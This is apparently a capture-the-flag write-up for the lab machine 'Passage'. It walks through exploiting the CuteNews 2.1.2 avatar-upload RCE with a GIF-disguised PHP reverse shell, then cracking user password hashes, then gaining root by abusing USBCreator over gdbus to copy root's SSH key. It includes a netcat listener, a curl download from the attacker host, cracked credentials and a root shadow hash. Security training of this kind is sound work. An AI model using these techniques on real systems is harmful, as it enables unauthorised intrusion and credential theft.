Recon
- Port scan:
$ nmap -p- 10.10.10.206 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
- Targeted scan:
$ nmap -sC -sV -p 22,80 10.10.10.206 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA) | 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA) |_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Passage News Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
- Navigate to webpage, appears to be a news board.
- Anonymous users can comment on articles, not XSS vulnerable.
- Found usernames: nadav (admin), paul, sid, kim
- Found nameserver: passage.htb
- Edit /etc/hosts and add the following line:
10.10.10.206 passage.htb
- Re-navigate to webpage, no redirect.
dirbuster
failed, requests timed out.- An article on the website reveals that Fail2Ban was implemented, which locks the user out for 2 minutes when too many requests are received.
crackmapexec
on SSH failed, also locked out by Fail2Ban.- Board is using CuteNews to publish and manage news articles.
- Found login page: http://passage.htb/CuteNews/index.php
- Version info is exposed on the login page to be 2.1.2, which is vulnerable to RCE (CVE-2019-11447).
Exploitation
- An attacker can register as a regular user on the website, and abuse the avatar upload function in the profile area to upload a shell.
- There is no limit on the
$imgsize
function in/core/modules/dashboard.php
, this allows the attacker to upload large files such as a PHP reverse shell. - The CMS uses only magic bytes to validate the file type, and ignores the file extension.
- Therefore, the header content of the file can be forged to bypass the content filter, for example using the "GIF" header.
Method 1: RCE script (/php/webapps/48800.py)
- After entering the URL, we get a shell as www-data.
$ whoami
www-data
- We see that the malicious PHP uploaded by the script is using a forged header to trick the server into thinking the reverse shell is a GIF file.
$ file avatar_rkogueVVDP_rkogueVVDP.php
avatar_rkogueVVDP_rkogueVVDP.php: GIF image data 16188 x 26736
- The script also extracted SHA-256 hashes of users:
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1 4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88 e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
- Two common hashes were able to be cracked:
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd sha256 atlanta1 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc sha256 egre55
- Found possible passwords: atlanta1, egre55
- But let's try to do it manually and understand how it works, no honour in being a skid!
Method 2: Manual upload
- Using pentestmonkey's PHP shell, edit the file to add the magic bytes for GIF at the start of file, also include the local
$ip
and$port
:GIF8; <?php ... $ip = '10.10.14.18'; $port = 6969;
- Register as a user on the website, and upload the PHP reverse shell as an avatar in the profile area.
- Upload success, now start a reverse listener on port 6969:
$ nc -lvnp 6969
- Navigate to http://passage.htb/CuteNews/uploads/avatar_samiko_avatar.php to trigger the reverse shell.
- Get shell as www-data:
$ whoami
www-data
- Found usernames in /home: nadav, paul
- Host linpeas.sh on HTTP, upload through shell with
curl
:$ curl 10.10.14.18:9090/linpeas.sh -O
- Make LinPEAS executable:
$ chmod +x ./linpeas.sh
- Nothing useful from LinPEAS.
- Found file containing user hashes from earlier:
/var/www/html/CuteNews/cdata/users/lines
- This entire directory is also exposed on http://passage.htb/CuteNews/cdata/
- Lines are encoded in base64, decode with:
$ base64 --decode hash.txt > decoded.txt
- The lines are shuffled and line breaks are missing. After rearranging, we get the following dump:
a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}} a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"[email protected]";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}} a:1:{s:5:"email";a:1:{s:16:"[email protected]";s:10:"paul-coles";}} a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}} a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"[email protected]";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}} a:1:{s:5:"email";a:1:{s:15:"[email protected]";s:6:"egre55";}} a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}} a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"[email protected]";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}} a:1:{s:5:"email";a:1:{s:17:"[email protected]";s:5:"admin";}} a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}} a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"[email protected]";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}} a:1:{s:5:"email";a:1:{s:15:"[email protected]";s:9:"sid-meier";}} a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}} a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"[email protected]";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}} a:1:{s:5:"email";a:1:{s:15:"[email protected]";s:9:"kim-swift";}}
- We now know which hash belongs to which user, and get the following credential pairs:
paul:atlanta1
egre55:egre55
su
as paul on the shell:$ su paul
su: must be run from a terminal
- Spawn tty shell to run
su
:$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
su
as paul on the pseudo terminal:$ su paul
atlanta1
- Get user flag!
Privilege Escalation
- To make things more convenient, get Paul's
id_rsa
private key from~/.ssh/
for a stable SSH terminal. - Set the appropriate permissions:
$ chmod 600 paul_id_rsa
- SSH in as paul:
$ ssh [email protected] -i paul_id_rsa
- Found
~/.ssh/authorized_keys
file:$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
- Found nadav in
authorized_keys
, meaning Nadav can SSH in as Paul without a password, wonder if Paul can do that as well... - Try to SSH in as nadav using Paul's key:
$ ssh [email protected] -i paul_id_rsa
- That worked, seems like Paul and Nadav are real close friends :>
$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
- nadav is in the adm group, meaning we can see system logs in
/var/log
. - nadav is also in the sudo group, but without a password, we cannot run
sudo -l
to see what we can access. - Found privileged process
usb-creator-helper
inps aux
:root 34787 0.0 0.4 235548 19848 ? Sl 02:05 0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper
- This is a program called "Startup Disk Creator", used to create live USBs of Ubuntu from the Live CD or ISO image, and is included by default in all releases after Ubuntu 8.04.
- It seems that USBCreator uses a Python implementation of
dd
to write to disks. - However, no sanitation checks are performed on the source or target path, nor does it prompt the user for passwords.
- This means any user belonging to the sudo group can overwrite arbitrary files on the filesystem, as root.
- Make a method call with
gdbus
, to copy root'sid_rsa
to/tmp
:$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/root_id_rsa true
- Using
root_id_rsa
, we can SSH in as root:$ ssh [email protected] -i root_id_rsa
$ id
uid=0(root) gid=0(root) groups=0(root)
- Get root flag.
Persistence
- Get root hash from
/etc/shadow
file:root:$6$mjc8Tvgr$L56bn5KQDtOyKRdXBTL4xcmT7FVWJbds.Fo0FVc11PWliaNu5ASAxKzaEddyaYGMxGQPUNo5UpxT/nawzS8TW0:18464:0:99999:7:::